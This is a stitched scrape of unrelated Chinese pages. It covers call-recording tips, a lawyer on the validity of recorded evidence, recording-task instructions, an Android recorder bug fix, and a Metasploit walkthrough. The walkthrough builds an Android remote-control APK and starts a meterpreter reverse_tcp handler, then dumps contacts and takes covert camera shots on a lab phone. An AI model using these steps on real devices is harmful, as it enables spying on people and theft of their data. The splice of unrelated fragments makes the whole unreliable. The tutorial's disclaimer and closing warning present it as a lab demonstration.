https://www.zhihu.com/video/942387183248797696
 
对于使用安卓手机的小伙伴们
 
根本不需要担心这个电话录音功能，以锤子手机为例，打电话时直接摁下录制按钮即可录制。电话录音会被自动保存在录音机当中。有些安卓手机如果没有集成这个功能，使用软件也是可以达到的，推荐一款名为 Drupe 的 APP，支持双向通话录音。
 
只需要在屏幕边缘从左向右滑动，调出菜单，选择通讯录中的联系人，拖动到右边的录制按钮，即可开始通话，并录音。
 
在应用商店自行搜索即可下载，当然也可以在我们微信后台回复 Drupe 获取下载链接。
 
对于使用苹果手机的小伙伴们
 
我们先默哀3秒钟。由于电话录音与隐私有关，所以苹果公司从未开启这项功能，而不是不能做。如果你一定要用 iPhone 电话录音，有哪些方法呢？
 
第一种，通话过程中，点击免提功能，豪气地拿起另一部苹果手机，找到苹果手机上的 语音备忘录 ，点击录制按钮，平稳地放在通话手机一旁，即可大方录音。这种方法，你需要非常豪气，或者从朋友手中抢一部 iPhone 过来。
 
第二种，如果你认为你能在苹果商店下载到各种通话录音软件的话，那就图样图森破了，这些所谓的功能，并不是在为你的系统通话录音，而是提供了你一种网络通话功能，大致原理和微信语音通话、Skype网络电话差不多，再在网络通话的基础上帮你录音，毕竟，它们并没有系统权限。也正因为如此，这些 APP 才会收取一定的通话时长费用。在此基础上，有的 APP 更提供了公证功能，让你的通话录音在一定程度上有法律支撑，比如，移动公证通话录音 APP（虽然界面丑了点）。
 
第三种，手机越狱，然后安装录音插件。比如 Audio Recorder。然后你就能在通话界面找到这个红色录制键，顺利录制。（越狱会有安全风险，请三思）
 
另外，什么样的录音才是合法有效的呢？我们请到了重庆渝创律师事务所的卢妍律师为大家讲解。
 
卢妍律师
 
合法有效的录音证据，通常应该具备以下几点。
 
第一，录音的对象必须是债务人或者承担义务的一方，如果是拨打的电话。那么最好是被录音者在电信或者移动等公司登记的号码。
 
第二点，录音的内容必须完整地反映债权债务的内容或者是其他民事义务的内容。比如说，如果是欠款，录音就应该让债务人完整地说出欠款的具体时间、金额、利息等关键要素。
 
第三，录音证据应当没有被剪辑或者伪造。它的内容不应该被篡改，具有客观真实性和连贯性。
 
第四，电话录音的内容必须反映被录音人真实的意思表示。任何通过非法限制人身自由、绑架、威胁等手段取得的证据都是无效的。
 
第五，电话录音取得的方式应当合法。如果录音证据录有他人的隐私，或者是在其工作，以及住宅所窃听得取的录音资料，那么这种录音证据，仍然会被排除使用。
 
最后一点就是电话录音应当留下原始的载体，通过录音笔或者手机录音之后，那么这些原始的资料不要删除，这些将会作为原始证据使用。 
 
更多资源技能戳这里：topbook.cc

 
 
 
  
噪音测试软件
  
到安静的房间，关掉电器(尤其是空调和风扇)，不能有外部噪音，如汽车或电子设备，不能有除了你以外的人的声音。打开分贝噪音测试应用，检测室内的噪音分贝(需小于或等于35dBA)，截图保存，如图。
  
应用商店搜索下载 分贝噪音测试
  

  
录音步骤
  
应用商店下载录音大师，点击【现场录音】后，右滑，选择 WAV 录音格式，并选 48kHZ，如图。
  

   
  
  
然后按【录音】开始录制，完成录音后点击【确定】，如图。
  

   
  
  
整理资料
  
点击【音频管理】查看录音，点击【编辑】按钮，按照命名规则重命名后点击【确定】保存，如图。
  

   
  
  
录音完成后，将 16 个录音文件，统一转发给负责人。可把音频下载都手机或直接转发给管负责人，如图。
  

   
  
  
音频文件命名规则
  
根据负责人提供给您的 ID，结合该条音频的内容，即按照 ID_名称_指令，来进行命名，例如：
  
1001_小乐小乐_播放.wav1001_小乐小乐_播放.wav1001_小乐小乐_播放.wav
 
 

最近做项目遇到录音机在录音时，重启或关机手机后，录音文件不能保存到录音文件列表中，通过查找log后，发现录音中重启或关机都会运行到SoundRecorderService.java里的receiveBroadcast（）函数，查看源码，找到了bug出现的原因，以下是问题解决的步骤：
 
在SoundRecorderService.java类中查找到receiveBroadcast（）函数，在该函数中可以查找到else if (Intent.ACTION_SHUTDOWN.equals(action) || ACTION_SHUTDOWN_IPO.equals(action)) {这个行为判断语句，在该if语句里添加
 
if ((STATE_RECORDING == mCurrentState) || (STATE_PAUSE_RECORDING == mCurrentState)) {
         stopRecord();
       } else if (STATE_PLAYING == mCurrentState) {
         stopPlay();
       }
       if (isCurrentFileWaitToSave()) {
         saveRecordAsync();
       }
 
添加以上代码，就可以解决这个bug了。

前言
 
严正声明：本文仅限于技术讨论与分享，严禁用于非法途径。
 
本文目的：演示如何借助Kali Linux系统的Metasploit渗透测试框架生成远程控制程序，然后感染局域网内的Android手机，从而实现对目标手机数据的读取、音频的窃听、位置的获取、软件安装或卸载等。
 
环境说明
 
机器
IP地址
Win10 物理主机
192.168.0.105
Kali 虚拟机
192.168.0.199
honor 8 测试手机
192.168.0.107
Win10主机和手机应连接同一个WIFI，Kali虚拟机安装在VMware中，使用桥接模式使得可配置其IP地址跟物理主机、手机在同一个网段之中，形成一个小局域网。
 
 
 
关于如何配置虚拟机的IP和网络，请访问另一篇博文：渗透测试-Kali虚拟机。
 
 
环境准备
 
远控生成
 
1、先说点废话，来确认下 Kali 虚拟机配置好的IP地址：
 
 2、在 Kali 终端输入以下命令在 Kali 虚拟机/root路径下生成远控文件520.apk：
 
 
传输远控
 
远控文件已经生成了，但如何从 Kali 虚拟机传输到 Win10 物理主机并进一步传输到受害者手机呢？
 
1、使用Xshell远程连接工具，新建如下SFTP协议的文件传输会话：
 
 
2、同时配置好与远程 Kali 主机对接的本地文件夹，用于 Win 10 主机传输文件的默认存放路径：
 
 3、输入 kali 主机的账户和密码进行登陆并成功连接后，使用命令get 520.apk从Kali 主机下载远控文件到本地文件夹D:\Code下：
 4、在 Win 10 主机本地文件夹确认下文件是否下载成功：
 
 
安装远控
 
1、再废话一下，查看并确认华为测试手机的IP地址与 Kali 虚拟机、Win 10主机在同一网段内：
 
 
2、在 Kali 虚拟机里查看能否连通手机（这是后续攻击成功的基础）：
 
 3、在 Win 10 主机打开QQ程序，向华为手机发送远控文件并安装(这个就不用演示了吧…)，安装后如下：
 
 
开始测试
 
MSF监听
 
Kali 终端依次执行以下命令：
 
msfconsole                //启动msfconsole
use exploit/multi/handler //加载模块
set payload android/meterpreter/reverse_tcp //选择Payload
set lhost 192.168.0.199  //这里的地址设置成我们刚才生成木马的IP地址
set lport 9999           //这里的端口设置成刚才我们生成木马所监听的端口
exploit                  //开始执行漏洞，开始监听,等待手机上线
 
1、在 Kali 终端输入msfconsole命令启动Metasploit框架：
 
 2、依次以下执行命令加载攻击模块、选择Payload、设置本地监听主机的IP和端口：
 
 3、执行命令exploit，开始执行攻击程序，进入监听状态，等待目标手机上线（用户点击远控程序）：
 
 4、此时手动点击刚才手机中安装的MainActivity程序图标（没有界面），则可成功建立攻击会话：
 
 5、此时输入help命令可查看具体的攻击命令和描述，后面将选择几个进行演示：
 
 
命令行执行
 
成功建立攻击会话后可以对受害者手机进行像Linux主机shell一样对手机进行命令执行操作：
 
 
通讯录下载
 
1、在攻击会话中执行dump_contacts命令导出受害者手机通讯录里的信息到 Kali 虚拟机/root路径下：
 
 2、在虚拟机中查看一下导出来的通讯录文件：
 
 
3、同理可导出受害者手机中的短信记录、通话记录……但是此手机没有插手机卡(穷……)，故此处不做演示了。
 
摄像机拍摄
 
在攻击会话中执行命令webcam_snap ，可开启受害者的摄像头自动拍摄一张照片并保存到Kali 虚拟机中：
 同理还可以非法调用受害者手机的录音功能、屏幕截图功能……
 
至此，本次Kali系统生成远控程序后控制局域网内Android手机的演示结束，其他控制操作读者有兴趣的话可自行借助help命令给出的使用命令描述进行体验。
 
温馨提醒：此次演示中的远控程序没有图形化界面的伪装，真实的环境中攻击者会将其伪装得跟正常软件一样，这提醒了我们不要轻易安装安全性未知的软件，同时不要轻易连接公共WIFI，让自己的设备暴露在攻击者搭建的局域网下……